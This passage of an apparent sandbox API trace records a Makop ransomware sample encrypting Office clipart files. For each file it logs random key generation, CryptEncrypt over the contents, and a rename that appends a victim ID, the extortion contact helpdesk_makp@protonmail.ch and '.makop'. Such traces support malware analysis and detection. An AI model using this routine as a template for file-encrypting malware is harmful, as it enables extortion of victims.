nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0126.879] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0126.879] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0126.879] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0126.880] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0126.880] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0126.880] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0126.880] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0126.880] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.880] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x8a0c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x8a0c, lpOverlapped=0x0) returned 1 [0126.882] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8a10, dwBufLen=0x8a10 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8a10) returned 1 [0126.883] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.883] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x8a10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x8a10, lpOverlapped=0x0) returned 1 [0126.884] CryptDestroyKey (hKey=0x48c7128) returned 1 [0126.884] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x8ae4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.884] SetEndOfFile (hFile=0xf0) returned 1 [0126.892] GetProcessHeap () returned 0x48a0000 [0126.892] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0126.892] GetProcessHeap () returned 0x48a0000 [0126.892] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0126.892] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0126.892] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178932.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178932.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0126.921] CloseHandle (hObject=0xf0) returned 1 [0126.921] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7d6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0179963.JPG", cAlternateFileName="")) returned 1 [0126.921] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG") returned 63 [0126.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0179963.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0126.923] GetProcessHeap () returned 0x48a0000 [0126.923] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0126.923] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0126.923] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0126.923] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0126.927] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0126.928] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0126.928] GetProcessHeap () returned 0x48a0000 [0126.928] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0126.928] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0126.928] CryptDestroyKey (hKey=0x48c7128) returned 1 [0126.928] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0126.928] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0126.928] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0126.928] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0126.929] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0126.929] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0126.929] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0126.929] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0126.929] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.929] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7d6e, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x7d6e, lpOverlapped=0x0) returned 1 [0126.931] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7d70, dwBufLen=0x7d70 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7d70) returned 1 [0126.931] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.931] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7d70, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7d70, lpOverlapped=0x0) returned 1 [0126.932] CryptDestroyKey (hKey=0x48c7128) returned 1 [0126.932] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7e44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.932] SetEndOfFile (hFile=0xf0) returned 1 [0126.940] GetProcessHeap () returned 0x48a0000 [0126.940] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0126.940] GetProcessHeap () returned 0x48a0000 [0126.940] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0126.940] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0126.940] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0179963.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0179963.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0126.942] CloseHandle (hObject=0xf0) returned 1 [0126.942] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x40e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0182689.JPG", cAlternateFileName="")) returned 1 [0126.942] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG") returned 63 [0126.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182689.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0126.944] GetProcessHeap () returned 0x48a0000 [0126.944] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0126.944] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0126.944] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0126.944] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x9, lpOverlapped=0x0) returned 1 [0126.949] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0126.949] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0126.949] GetProcessHeap () returned 0x48a0000 [0126.949] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0126.949] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0126.950] CryptDestroyKey (hKey=0x48c7128) returned 1 [0126.950] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0126.950] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0126.950] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0126.951] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0126.951] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0126.951] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0126.951] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0126.951] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0126.951] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.951] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40e7, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x40e7, lpOverlapped=0x0) returned 1 [0126.953] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x40f0, dwBufLen=0x40f0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x40f0) returned 1 [0126.953] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.953] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40f0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x40f0, lpOverlapped=0x0) returned 1 [0126.953] CryptDestroyKey (hKey=0x48c7128) returned 1 [0126.954] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x41c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.954] SetEndOfFile (hFile=0xf0) returned 1 [0126.960] GetProcessHeap () returned 0x48a0000 [0126.960] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0126.960] GetProcessHeap () returned 0x48a0000 [0126.960] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0126.961] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0126.961] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182689.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182689.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0126.962] CloseHandle (hObject=0xf0) returned 1 [0126.962] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5f48, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0182888.WMF", cAlternateFileName="")) returned 1 [0126.962] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF") returned 63 [0126.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182888.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0126.963] GetProcessHeap () returned 0x48a0000 [0126.963] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0126.963] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0126.963] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0126.964] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0126.968] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0126.968] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0126.968] GetProcessHeap () returned 0x48a0000 [0126.969] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0126.969] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0126.969] CryptDestroyKey (hKey=0x48c7128) returned 1 [0126.969] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0126.969] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0126.969] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0126.969] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0126.970] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0126.970] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0126.970] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0126.970] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0126.970] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.970] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x5f48, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x5f48, lpOverlapped=0x0) returned 1 [0126.972] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5f50, dwBufLen=0x5f50 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5f50) returned 1 [0126.972] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.973] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5f50, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x5f50, lpOverlapped=0x0) returned 1 [0126.973] CryptDestroyKey (hKey=0x48c7128) returned 1 [0126.973] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x6024, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.973] SetEndOfFile (hFile=0xf0) returned 1 [0126.983] GetProcessHeap () returned 0x48a0000 [0126.983] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0126.984] GetProcessHeap () returned 0x48a0000 [0126.984] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0126.984] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0126.984] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182888.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182888.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0126.985] CloseHandle (hObject=0xf0) returned 1 [0126.985] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3b2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0182898.WMF", cAlternateFileName="")) returned 1 [0126.985] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF") returned 63 [0126.986] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182898.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0126.986] GetProcessHeap () returned 0x48a0000 [0126.986] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0126.986] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0126.987] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0126.987] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0126.993] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, 